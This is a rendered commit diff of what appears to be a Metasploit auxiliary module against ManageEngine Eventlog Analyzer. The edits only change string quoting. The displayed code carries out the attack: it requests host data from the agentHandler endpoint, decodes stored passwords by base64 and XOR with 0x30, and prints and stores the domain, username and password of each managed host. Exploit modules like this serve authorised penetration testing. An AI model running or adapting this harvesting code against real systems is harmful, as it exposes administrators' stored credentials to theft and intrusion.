@@ -42,14 +42,14 @@ def initialize(info = {})
42
42
register_options (
43
43
[
44
44
Opt ::RPORT ( 8400 ) ,
45
- OptString . new ( 'TARGETURI' , [ true , " Eventlog Analyzer application URI (should be /event for version 7)" , '/' ] ) ,
45
+ OptString . new ( 'TARGETURI' , [ true , ' Eventlog Analyzer application URI (should be /event for version 7)' , '/' ] ) ,
46
46
] , self . class )
47
47
end
48
48
49
49
50
50
def decode_password ( encoded_password )
51
51
password_xor = Rex ::Text . decode_base64 ( encoded_password )
52
- password = ""
52
+ password = ''
53
53
password_xor . bytes . each do |byte |
54
54
password << ( byte ^ 0x30 )
55
55
end
@@ -59,7 +59,7 @@ def decode_password(encoded_password)
59
59
60
60
def run
61
61
res = send_request_cgi ( {
62
- 'uri' => normalize_uri ( target_uri . path , " agentHandler" ) ,
62
+ 'uri' => normalize_uri ( target_uri . path , ' agentHandler' ) ,
63
63
'method' => 'GET' ,
64
64
'vars_get' => {
65
65
'mode' => 'getTableData' ,
@@ -84,10 +84,10 @@ def run
84
84
85
85
slid_host_ary = [ ]
86
86
doc . elements . each ( 'Details/HostDetails' ) do |ele |
87
- if ele . attributes [ " password" ]
87
+ if ele . attributes [ ' password' ]
88
88
# If an element doesn't have a password, then we don't care about it.
89
89
# Otherwise store the slid and host_id to use later.
90
- slid_host_ary << [ ele . attributes [ " slid" ] , ele . attributes [ " host_id" ] ]
90
+ slid_host_ary << [ ele . attributes [ ' slid' ] , ele . attributes [ ' host_id' ] ]
91
91
end
92
92
end
93
93
@@ -107,7 +107,7 @@ def run
107
107
108
108
slid_host_ary . each do |host |
109
109
res = send_request_cgi ( {
110
- 'uri' => normalize_uri ( target_uri . path , " hostdetails" ) ,
110
+ 'uri' => normalize_uri ( target_uri . path , ' hostdetails' ) ,
111
111
'method' => 'GET' ,
112
112
'vars_get' => {
113
113
'slid' => host [ 0 ] ,
@@ -128,24 +128,24 @@ def run
128
128
doc . elements . each ( 'Details/Hosts' ) do |ele |
129
129
# Add an empty string if a variable doesn't exist, we have to check it
130
130
# somewhere and it's easier to do it here.
131
- host_ipaddress = ele . attributes [ " host_ipaddress" ] || ""
131
+ host_ipaddress = ele . attributes [ ' host_ipaddress' ] || ''
132
132
133
133
ele . elements . each ( 'HostDetails' ) do |details |
134
- domain_name = details . attributes [ " domain_name" ] || ""
135
- username = details . attributes [ " username" ] || ""
136
- password_encoded = details . attributes [ " password" ] || ""
134
+ domain_name = details . attributes [ ' domain_name' ] || ''
135
+ username = details . attributes [ ' username' ] || ''
136
+ password_encoded = details . attributes [ ' password' ] || ''
137
137
password = decode_password ( password_encoded )
138
- type = details . attributes [ " type" ] || ""
139
- subtype = details . attributes [ " subtype" ] || ""
138
+ type = details . attributes [ ' type' ] || ''
139
+ subtype = details . attributes [ ' subtype' ] || ''
140
140
141
141
unless type =~ /Windows/ || subtype =~ /Windows/
142
142
# With AS/400 we get some garbage in the domain name even though it doesn't exist
143
143
domain_name = ""
144
144
end
145
145
146
146
msg = "Got login to #{ host_ipaddress } | running "
147
- msg << type << ( subtype != "" ? " | #{ subtype } " : "" )
148
- msg << " | username: "
147
+ msg << type << ( subtype != '' ? " | #{ subtype } " : '' )
148
+ msg << ' | username: '
149
149
msg << ( domain_name != "" ? "#{ domain_name } \\ #{ username } " : username )
150
150
msg << " | password: #{ password } "
151
151
print_good ( msg )
@@ -162,7 +162,7 @@ def run
162
162
service_name : type ,
163
163
workspace_id : myworkspace_id ,
164
164
protocol : 'tcp' ,
165
- port : 0 , # can be any port, so just set to 0 else the cred api screams
165
+ port : 0 , # can be any port, so just set to 0 else the cred api screams
166
166
core : credential_core ,
167
167
status : Metasploit ::Model ::Login ::Status ::UNTRIED
168
168
}
0 commit comments